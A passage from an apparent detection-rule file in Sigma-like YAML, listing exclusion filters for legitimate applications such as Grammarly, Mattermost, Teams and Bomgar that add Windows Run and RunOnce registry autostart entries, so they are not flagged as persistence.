'\\AppData\\Local\\ClickShare\\ClickShare.exe'\n\n    exclusion_gosign_desktop:\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\\*\\AppData\\Local\\InfoCert\\GoSign Desktop\\GoSignDesktop.exe'\n        Details|contains: '*\\AppData\\Local\\InfoCert\\GoSign Desktop\\GoSignDesktop.exe'\n\n    exclusion_bingwallpaperapp:\n        Image: '?:\\Windows\\System32\\msiexec.exe'\n        ProcessSignature: 'Microsoft Windows'\n        Details: '*\\AppData\\Local\\Microsoft\\BingWallpaperApp\\BingWallpaperApp.exe'\n\n    exclusion_mattermost_reg:\n        Image: '?:\\Windows\\System32\\reg.exe'\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Mattermost'\n        Details: '*\\AppData\\Local\\Programs\\mattermost-desktop\\Mattermost.exe*'\n\n    exclusion_loom:\n        Image|endswith: 'AppData\\Local\\Programs\\Loom\\Loom.exe'\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\electron.app.Loom'\n        Details: '*\\AppData\\Local\\Programs\\Loom\\Loom.exe*'\n\n    exclusion_letsignit:\n        Image:\n            - '?:\\Windows\\System32\\reg.exe'\n            - '?:\\Windows\\SysWOW64\\reg.exe'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Letsignit App'\n        Details:\n            - '*\\AppData\\Local\\LetsignitApp\\update.exe*'\n            - '*\\AppData\\Local\\Microsoft\\LetsignitApp\\update.exe*'\n            - '*\\AppData\\Local\\LetsignitApp\\app-?.?.?\\Letsignit App.exe*'\n\n    exclusion_letsignit2:\n        ProcessParentDescription: 'Letsignit App'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Letsignit SAS'\n\n    exclusion_setuphost:\n        # C:\\$WINDOWS.~BT\\Sources\\setuphost.exe\n        Image: '?:\\\\?WINDOWS.?BT\\Sources\\setuphost.exe'\n        # C:\\Windows\\SoftwareDistribution\\Download\\065fd01c95189f768f95256d0434663a\\WindowsUpdateBox.exe\n        ProcessParentImage: '*\\sources\\setupprep.exe'\n\n    exclusion_realtek:\n        Image|endswith: '\\Setup.exe'\n        TargetObject|endswith: '\\RunOnce\\RealtekHDAUpgrade'\n        Details: 'RealtekHDAUpgrade'\n        ProcessCommandLine|contains|all:\n            - ' -no_selfdeleter -IS_temp -media_path:'\n            - ' -tempdisk1folder:'\n            - ' -IS_OriginalLauncher:'\n\n    exclusion_dashlane:\n        Image|endswith: '\\DashlaneInstaller.exe'\n        ProcessParentImage|endswith: '\\AppData\\Roaming\\Dashlane\\Dashlane.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\DashlanePlugin'\n\n    exclusion_figma:\n        Image|endswith: '\\AppData\\Local\\FigmaAgent\\figma_agent.exe'\n        Details|endswith:\n            - '\\AppData\\Local\\FigmaAgent\\figma_agent.exe'\n            - '\\AppData\\Local\\FigmaAgent\\figma_agent.exe\"'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Figma Agent'\n\n    exclusion_move_mouse:\n        Image|endswith: '\\move mouse.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\move mouse'\n\n    exclusion_aventail:\n        Image|endswith: '\\appdata\\roaming\\aventail\\ewpca\\ewpca.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\betproxy'\n\n    exclusion_kaijet_wormhole:\n        Image: '*\\appdata\\roaming\\kaijet\\wormhole1107\\functmodules\\\\?92eedb7d-755a-4a90-a79d-c0bd0acf1a7f?\\wormhole.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\cs dispatch'\n\n    exclusion_cacaoweb:\n        Image|endswith: '\\AppData\\Roaming\\cacaoweb\\cacaoweb.exe'\n        ProcessSignature: 'CACAOWEB Ltd'\n        Details|contains: '\\AppData\\Roaming\\cacaoweb\\cacaoweb.exe'\n\n    exclusion_atlassian:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.atlassian-desktop-companion.AtlassianCompanion'\n        # C:\\Users\\XXX\\AppData\\Local\\atlassian-desktop-companion\\app-1.3.1\\Atlassian Companion.exe\n        Image|endswith: '\\Atlassian Companion.exe'\n\n    exclusion_att_meetings:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\com.att.meetings'\n        Details|contains: 'appdata\\local\\programs\\officeathandmeetings\\at&t office@hand meetings.exe'\n\n    exclusion_sigilium:\n        Image: '?:\\Windows\\System32\\reg.exe'\n        ProcessParentImage|endswith: '\\AppData\\Local\\Programs\\sigilium-plugin\\Sigilium Email Signatures.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Sigilium Email Signatures'\n        Details|contains: '\\AppData\\Local\\Programs\\sigilium-plugin\\Sigilium Email Signatures.exe'\n\n    exclusion_lenovo_winsat:\n        Image|endswith:\n            - '\\igxpin.exe'\n            - '\\Setup.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\WinSat'\n        Details: 'winsat dwm -xml results.xml'\n\n    exclusion_medefaultpcreset:\n        Image|endswith: '\\MEDefaultPCReset.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\!MEDefaultPCReset'\n        Details|contains: '\\AppData\\Local\\Microsoft\\BingWallpaperApp\\MEDefaultPCReset.exe'\n\n    exclusion_ms_default_setup:\n        Details|endswith: '\\AppData\\Local\\Microsoft\\DefaultSetup\\DefaultSetup.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\!DefaultSetup'\n\n    exclusion_osk:\n        Image: '?:\\Windows\\System32\\osk.exe'\n        ProcessSignature: 'Microsoft Windows'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\osk.exe'\n        Details: 'osk.exe'\n\n    exclusion_windows10upgrade:\n        Image: '?:\\Windows10Upgrade\\Windows10UpgraderApp.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\!GetCurrentRollback'\n        Details|contains: '?:\\Windows10Upgrade\\GetCurrentRollback.exe'\n\n    exclusion_1clipboard:\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\1Clipboard'\n        Details: '*\\AppData\\Local\\1Clipboard\\\\*\\1Clipboard.exe*'\n\n    exclusion_lifesize_reg:\n        # C:\\Windows\\system32\\reg.exe ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Lifesize App Service /t REG_SZ /d \"C:\\Users\\xxxxx\\AppData\\Local\\lifesize_app\\Lifesize App Service.exe\" --path=\"C:\\Users\\xxxxxxx\\AppData\\Local\\lifesize_app\\Lifesize.exe\" --silent /f\n        # details : \"C:\\Users\\xxxxxx\\AppData\\Local\\lifesize_app\\Lifesize App Service.exe\" --path=\"C:\\Users\\xxxxxx\\AppData\\Local\\lifesize_app\\Lifesize.exe\" --silent\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Lifesize App Service'\n        Details|contains|all:\n            - '\\lifesize_app\\Lifesize App Service.exe'\n            - '\\lifesize_app\\Lifesize.exe'\n            - ' --silent'\n\n    exclusion_lifesize:\n        # details : C:\\Users\\xxxxx\\AppData\\Local\\lifesize_app\\update.exe --processStart \"Lifesize.exe\" --process-start-args \"--hidden\"\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.lifesize_app.Lifesize'\n        Details|contains|all:\n            - '\\lifesize_app\\update.exe'\n            - ' --process-start-args'\n            - 'Lifesize.exe'\n\n    exclusion_yammer:\n        # details: \"C:\\Users\\xxxxxx\\AppData\\Local\\yammerdesktop\\update.exe\" --processStart \"Yammer.exe\"\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Yammer'\n        Details|contains|all:\n            - '\\AppData\\Local\\yammerdesktop\\update.exe'\n            - 'Yammer.exe'\n\n    exclusion_genuine:\n        Image|endswith: '\\msiexec.exe'\n        TargetObject|endswith:\n            - '\\Microsoft\\Windows\\CurrentVersion\\Run\\Autodesk Genuine Service'\n            - '\\Microsoft\\Windows\\CurrentVersion\\Run\\Autodesk Genuine Service ' # Space at the end\n        Details:\n            - '*\\Autodesk\\Genuine Service\\x64\\GenuineService.exe'\n            - '%localappdata%\\Programs\\Autodesk\\Genuine Service\\GenuineService.exe'\n\n    exclusion_wirelesssetup:\n        Image: '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\.cr\\WirelessSetup.exe'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\SWComponent'\n        # \"C:\\windows\\Temp\\{2F3CA705-308B-42B2-9781-7CEBF8E1F5F2}\\.cr\\WirelessSetup.exe\" -s\n        Details|contains: '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\.cr\\WirelessSetup.exe'\n\n    exclusion_seagull1:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Seagull Drivers'\n        Details: 'ssdal_nc.exe startup'\n\n    exclusion_marche_public:\n        TargetObject|endswith:\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Mon Assistant Marchés Publics'\n            - '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Mon Assistant Marchés Publics ECOLE'\n        Details|contains:\n            - '\\mon-assistant-marche-public\\Mon Assistant Marchés Publics.exe'\n            - '\\mon-assistant-marche-public-ecole\\Mon Assistant Marchés Publics ECOLE.exe'\n\n    exclusion_sepprep:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\\\?' # HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\1\n        Details: 'SEPprep64.exe'\n\n    exclusion_webex1:\n        Image|endswith: '\\AppData\\Local\\WebEx\\WebexHost.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\CiscoMeetingDaemon'\n        Details|contains: '\\AppData\\Local\\WebEx\\WebexHost.exe'\n\n    exclusion_rambox:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Rambox'\n        # C:\\Users\\xxxxxx\\Documents\\Rambox\\Rambox-0.7.9-win-x64\\Rambox.exe / \"C:\\Users\\xxxx W\\AppData\\Local\\Programs\\Rambox\\Rambox.exe\"\n        Details|contains: '\\Rambox*Rambox.exe'  # in appdata or in another directory\n\n    exclusion_mattermost_exe:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Mattermost'\n        Details|contains: '\\appdata\\local\\programs\\mattermost-desktop\\mattermost.exe'\n\n    exclusion_signitic:\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Signitic'\n        Details|contains: '\\Signitic\\Signitic.exe'\n\n    exclusion_soti_remote_control:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SOTI Remote Control Service'\n        Details|endswith: '\\AppData\\Local\\Apps\\SOTI Remote Control\\SotiRemoteControlLauncher.exe'\n\n    exclusion_breitling_ewarranty:\n        Image|endswith: '\\BreitlingEWarranty.exe'\n        Details|endswith: '\\BreitlingEWarranty.exe'\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\BreitlingEWarranty'\n\n    exclusion_rainbow:\n        # also seen : D:\\Profils\\xxx\\AppData\\Local\\Temp\\574\\is-A8ASG.tmp\\Rainbow_Installer.tmp\n        # C:\\Users\\xxx\\AppData\\Local\\Temp\\is-L6M7V.tmp\\Rainbow_Installer (3).tmp\n        Image|contains:\n            - '\\AppData\\Local\\Programs\\Alcatel-Lucent Enterprise\\Rainbow\\Rainbow.exe'\n            - '\\Rainbow_Installer.tmp'\n            - '\\Rainbow_Installer (?).tmp'\n        Details|contains: '\\AppData\\Local\\Programs\\Alcatel-Lucent Enterprise\\Rainbow\\Rainbow.exe'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Rainbow'\n\n    exclusion_mwsnap:\n        # http://www.mirekw.com/winfreeware/index.html\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\mwsnap'\n        Details|contains:\n            - '\\mwsnap\\mwsnap.exe'\n            - '\\mwsnapportable\\mwsnap.exe'\n\n    exclusion_infapp:\n        # Intel(R) Wireless Connectivity Solutions\n        Image: '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\.cr\\Setup.exe'\n        Details: '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\.cr\\Setup.exe'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\SWComponent'\n\n    exclusion_streamci:\n        # rundll32.exe streamci,StreamingDeviceSetup {cfd669f1-9bc2-11d0-8299-0000f822fe8a},{0A4252A0-7E70-11D0-A5D6-28DB04C10000},{0A4252A0-7E70-11D0-A5D6-28DB04C10000},C:\\Windows\\inf\\ksfilter.inf,MSTEE.Interface.Install\n        Details|startswith: 'rundll32.exe streamci,StreamingDeviceSetup '\n        Image: '?:\\Windows\\servicing\\TrustedInstaller.exe'\n\n    exclusion_logibolt:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\LogiBolt'\n        Image: '*\\AppData\\Local\\Logi\\LogiBolt\\LogiBolt.exe'\n        Details|endswith: '\\AppData\\Local\\Logi\\LogiBolt\\LogiBolt.exe --startup'\n\n    exclusion_clavier:\n        Details: '*\\AppData\\Local\\Clavier?\\Clavier.exe'\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Clavier?'\n\n    exclusion_grammarly:\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Grammarly'\n        Details: '*\\AppData\\Local\\Grammarly\\DesktopIntegrations\\Grammarly.Desktop.exe'\n\n    exclusion_screenpresso:\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Screenpresso'\n        Details|contains: '\\AppData\\Local\\Learnpulse\\Screenpresso\\Screenpresso.exe'\n\n    exclusion_authenticator:\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Authenticator 6'\n        Details|contains: '\\authenticator6\\Authenticator 6.exe'  # \\AppData\\Local\\Programs\\authenticator6\\.. or c:\\authenticator6\\..\n\n    exclusion_bomgar_scc:\n        # HKU\\S-1-5-21-xxxx\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Bomgar_Cleanup_ZD157689015613218\n        # HKU\\S-1-5-21-xxxx\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Bomgar Support Reconnect [624BEF75]\n        TargetObject|contains:\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Bomgar_Cleanup_'\n            - 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Bomgar Support Reconnect '\n        # details :\n        # cmd.exe /C rd /S /Q \"C:\\Users\\xxxx\\AppData\\Local\\Temp\\3\\nsf89E7.tmpb\" & reg.exe delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Bomgar_Cleanup_ZD355897154620360 /f\n        # cmd.exe /C rd /S /Q \"d:\\profils\\xxxxr\\AppData\\Local\\Temp\\200\\nse99F8.tmpb\" & reg.exe delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Bomgar_Cleanup_ZD71241960920524 /f\n        # \"?:\\ProgramData\\bomgar-scc-0x6242b8b7\\bomgar-scc.exe\" -nomulti\n        Details|contains:\n            - '\\bomgar-scc.exe'\n            - 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Bomgar_Cleanup_ZD'\n\n    exclusion_autodesk_fusion_launcher:\n        # cmd /C copy /Y \"C:\\Users\\xxx\\AppData\\Local\\Autodesk\\webdeploy\\production\\19107935ce2ad08720646cb4a31efe37d8a5f41b\\FusionLauncher.exe\" \"C:\\Users\\xxxx\\AppData\\Local\\Autodesk\\webdeploy\\production\\6a0c9611291d45bb9226980209917c3d\\FusionLauncher.exe\"\n        Details: 'cmd /C copy /Y *\\AppData\\Local\\Autodesk\\webdeploy\\production*FusionLauncher.exe*'\n\n    exclusion_update_checker:\n        # details: C:\\Users\\xxxx\\AppData\\Local\\Apps\\2.0\\AAOL97KH.5T2\\EYW08NNP.BG0\\upda..tion_d618ae9fc43a22ce_0001.0000_bb623013ee6c2931\\Update Checker.exe\n        TargetObject: '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Update Checker'\n        Details|endswith: '\\Update Checker.exe'\n\n    exclusion_enhanced_edge:\n        TargetObject:\n            - '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\!MEDefaultPCReset'\n            - '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\!BrowserSettingsInstaller'\n        Details|contains:\n            - '*\\AppData\\Local\\Microsoft\\EnhanceEdge\\MEDefaultPCReset.exe'\n            - '*\\AppData\\Local\\Microsoft\\EnhanceEdge\\BrowserSettingsInstaller.exe'\n\n    exclusion_adobe_connectdetector:\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ConnectDetector'\n        Details|contains: 'AppData\\Roaming\\Adobe\\Connect\\connectdetector.exe'\n\n    exclusion_samsung:\n        Image: '?:\\Windows\\Samsung\\PanelMgr\\SSMMgr.exe'\n        Details: '?:\\Windows\\Samsung\\PanelMgr\\SSMMgr.exe /autorun'\n        TargetObject: 'HKLM\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\Samsung PanelMgr'\n\n    exclusion_dell_dbrm_tray:\n        TargetObject:\n            - 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\DBRMTray'\n            - 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\DBRMTray'\n        Details|contains:\n            - '\\DBRM\\Reminder\\TrayApp.exe'\n            - '\\DBRM\\Reminder\\DbrmTrayIcon.exe'\n\n    exclusion_rnp_panel_manager:\n        TargetObject:\n            - 'HKLM\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\RNP PanelMgr'\n            - 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\RNP PanelMgr'\n        Details|contains: '?:\\windows\\RNP\\PanelMgr\\SSMMgr.exe'\n\n    exclusion_bing_svc:\n        TargetObject: '*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\BingSvc'\n        Details|contains: '\\AppData\\Local\\Microsoft\\BingSvc\\BingSvc.exe'\n\n    exclusion_bing_service:\n        Image: '?:\\Windows\\Temp\\MUBSTemp\\BGAStartMSILauncher.EXE'\n        ProcessSignature: 'Microsoft Corporation'\n        Details|contains: '?:\\Windows\\Temp\\MUBSTemp\\BGAStartMSI.EXE'\n\n    exclusion_eolis:\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\EPS Setup Restart'\n        Details|contains|all:\n            - '\\Evolis\\Setup_Evolis_Premium_Suite.exe'\n            - '?:\\ProgramData\\Evolis Premium SuiteRst\\param.dat'\n\n    exclusion_signalrgb:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SignalRgb'\n        Details|contains|all:\n            - '?:\\Users\\\\*\\AppData\\Local\\VortxEngine\\SignalRgbLauncher.exe'\n            - '--silent'\n\n    exclusion_zamzar:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.Zamzar.Zamzar'\n        Details: '?:\\Users\\\\*\\AppData\\Local\\Zamzar\\app-*\\Zamzar.exe'\n\n    exclusion_lifen:\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.lifen.Lifen'\n        Details|endswith: '\\Update.exe --processStart ?Lifen.exe? --process-start-args ?--hidden?'\n\n    exclusion_typingmaster:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Programs\\TypingMaster*\\QuickPhrase\\qphrase.exe'\n        Details|contains: '?:\\Users\\\\*\\AppData\\Local\\Programs\\TypingMaster*\\QuickPhrase\\qphrase.exe\"'\n\n    exclusion_varian:\n        ProcessImage: '?:\\ProgramData\\VDT.exe'\n        ProcessOriginalFileName: 'VarianDeploymentTool.exe'\n        Details: 'cmd /c \"start /d \"?:\\ProgramData\" VDT.exe /STOREPATH:\"?:\\ProgramData\\RSDInstaller\" /RESUME\"'\n\n    exclusion_polylens:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Programs\\oz-client\\Poly Lens.exe'\n        Details|startswith: '?:\\Users\\\\*\\AppData\\Local\\Programs\\oz-client\\Poly Lens.exe'\n\n    exclusion_modjo:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Modjo_Taking-Note\\\\*\\modjo-livenotes.exe'\n        Details|contains: '?:\\Users\\\\*\\AppData\\Local\\Modjo_Taking-Note\\Update.exe --processStart \"modjo-livenotes.exe\" --process-start-args \"--hidden\"'\n\n    exclusion_actisync:\n        Details|contains: 'AppData\\Local\\ActiGraph\\ActiSync\\ActiSync.exe'\n        TargetObject|endswith: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ActiSync'\n\n    exclusion_keyacc32:\n        TargetObject|endswith: 'Microsoft\\Windows\\CurrentVersion\\Run\\KeyAccess'\n        Details: 'kass.exe'\n        ProcessImage: '?:\\Windows\\keyacc32.exe'\n\n    exclusion_smallpdf:\n        TargetObject|endswith: 'Software\\Microsoft\\Windows\\CurrentVersion\\Run\\com.squirrel.Smallpdf.Smallpdf'\n        Details|contains: 'AppData\\Local\\Smallpdf\\Smallpdf.exe'\n\n    exclusion_windowsmobile:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        Details: '%windir%\\WindowsMobile\\wmdc.exe'\n        TargetObject: 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Mobile Device Center'\n\n    exclusion_googleupdater:\n        # C:\\Users\\xxx\\AppData\\Local\\Temp\\Google12936_775496257\\bin\\updater.exe\n        ProcessImage|endswith: '\\updater.exe'\n        ProcessSignature: 'Google LLC'\n        Details: '*\\AppData\\Local\\Google\\GoogleUpdater\\\\*\\updater.exe*'\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\GoogleUpdaterTaskUser*'\n\n    exclusion_ghosts:\n        Image|endswith: '\\ghosts.exe'\n        ProcessDescription: 'GHOSTS NPC Orchestrator'\n\n    exclusion_launcher_easy:\n        Image|endswith: '\\LAUNCHEREASY.EXE'\n        ProcessSignature: 'GINKOIA SAS'\n        TargetObject|endswith: '\\Microsoft\\Windows\\CurrentVersion\\Run\\Launch_Replication'\n\n    exclusion_msteams_uninstall:\n        Image|endswith:\n            - '\\msteams.exe'\n            - '\\ms-teamsupdate.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        TargetObject|endswith: '\\Microsoft\\Windows\\CurrentVersion\\Run\\UninstallT??'\n\n    exclusion_bluestacks:\n        Image|endswith: '\\BlueStacksServices.exe'\n        ProcessSignature: 'Now.gg, INC'\n        TargetObject|endswith: '\\Microsoft\\Windows\\CurrentVersion\\Run\\electron.app.BlueStacks Services'\n\n    exclusion_manageengine:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\dcconfig.exe'\n\n    exclusion_installer:\n        ProcessCommandLine:\n            - 'rundll32.exe ?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc SfxCA_* SetupGen!CustomActions.AfterInstall'\n            - 'rundll32.exe ?:\\windows\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc SfxCA_* CustomActions!CustomActions.CustomActions.KillProcess'\n            - 'rundll32.exe ?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc SfxCA_* CustomAction1!CustomAction1.CustomActions.UninstallMiniFilterDriver'\n\n    exclusion_legitimate_applications:\n        - Details: 'Binary Data'\n          TargetObject: 'HKLM\\Software\\microsoft\\appv\\client\\packages\\6b2efa10-7858-47e5-8d4b-f23e603cdd38\\versions\\65d45509-5367-416a-af65-17de8a726c38\\registry\\machine\\software\\wow6432node\\microsoft\\windows\\currentversion\\run\\sunjavaupdatesched'\n        - Details: 'Binary Data'\n          TargetObject: 'HKU\\\\*\\appv\\client\\packages\\\\*\\versions\\\\*\\registry\\user\\\\*\\Software\\Microsoft\\Windows\\currentversion\\run\\adobeupdater\\(default)'\n        - Details: 'Binary Data'\n          TargetObject: 'HKU\\\\*\\registry\\machine\\software\\wow6432node\\microsoft\\windows\\currentversion\\run\\sunjavaupdatesched'\n        - Details: 'Binary Data'\n          TargetObject: 'HKU\\\\*\\software\\microsoft\\appv\\client\\packagegroups\\\\*\\registry\\user\\\\*\\Software\\Microsoft\\Windows\\currentversion\\run\\microsoftedgeautolaunch_*'\n        - Details: 'Binary Data'\n          TargetObject: 'HKU\\\\*\\software\\microsoft\\appv\\client\\packages\\\\*\\registry\\user\\\\*\\Software\\Microsoft\\Windows\\currentversion\\run\\microsoftedgeautolaunch_*'\n        - Details: 'cmd /c if /i not %username%==sbsadmin start ?:\\\"program files\"\\illumina\\\"miniseq control software\"\\startcontrolsoftware.bat'\n          TargetObject: 'hku\\.default\\Software\\Microsoft\\Windows\\currentversion\\group policy objects\\{*}machine\\Software\\Microsoft\\Windows\\currentversion\\policies\\explorer\\run\\1'\n        - Details: '\"?:\\ProgramData\\akio\\tws_client\\current\\tws.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\currentversion\\run\\twsv5'\n        - Details: '\"?:\\ProgramData\\akio\\tws_client_tws_akio_cloud\\current\\tws.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\currentversion\\run\\twsv5'\n        - Details: '\"?:\\ProgramData\\comms\\pcmanager\\driverupgrade\\update\\downloaded\\\\*\\pcmanager_setup_*.exe\"'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\pcmanagersetup'\n        - Details: '\"?:\\ProgramData\\microsoft\\windows\\start menu\\programs\\citrix\\receiver updater.lnk\"'\n          TargetObject: 'HKLM\\Software\\wow6432node\\microsoft\\windows\\Currentversion\\Run\\citrixreceiver'\n        - Details: '?:\\ProgramData\\tracker software\\trackerupdate\\trackerupdate.exe -startinstall'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Runonce\\trackerupdate'\n        - Details: '\"?:\\ProgramData\\wargaming.net\\gamecenter\\wgc.exe\" --background'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\wargaming.net game center'\n        - Details: '\"?:\\sources\\stockage\\keypirinha\\keypirinha.exe\" --autorun'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\keypirinha'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\adista\\prod-*\\myistraadista\\myistraadista.exe\" -startwithos'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\myistraadista'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\apps\\\\*\\avmautostart.exe\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\avmusbfernanschluss'\n        - Details: '?:\\Users\\\\*\\AppData\\Local\\aver\\aver ptzapp\\aver ptzapp\\ecam.exe -background'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\ptzapp'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\avg\\browser\\application\\avgbrowser.exe\" --check-run=src=logon --auto-launch-at-startup --profile-directory=\"default\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\avgbrowserautolaunch_*'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\avira\\browser\\application\\avirabrowser.exe\" --check-run=src=logon --auto-launch-at-startup --profile-directory=\"default\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\avirabrowserautolaunch_*'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\btblue\\molene-bretagne\\myistrabtblue\\myistrabtblue.exe\" -startwithos'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\myistrabtblue'\n        - Details: '\"?:\\Users\\\\*\\AppData\\Local\\ccleaner browser\\application\\ccleanerbrowser.exe\" --check-run=src=logon --auto-launch-at-startup --profile-directory=\"default\"'\n          TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Windows\\Currentversion\\Run\\ccleanerbrowserautolaunch_*'\n        - Details: 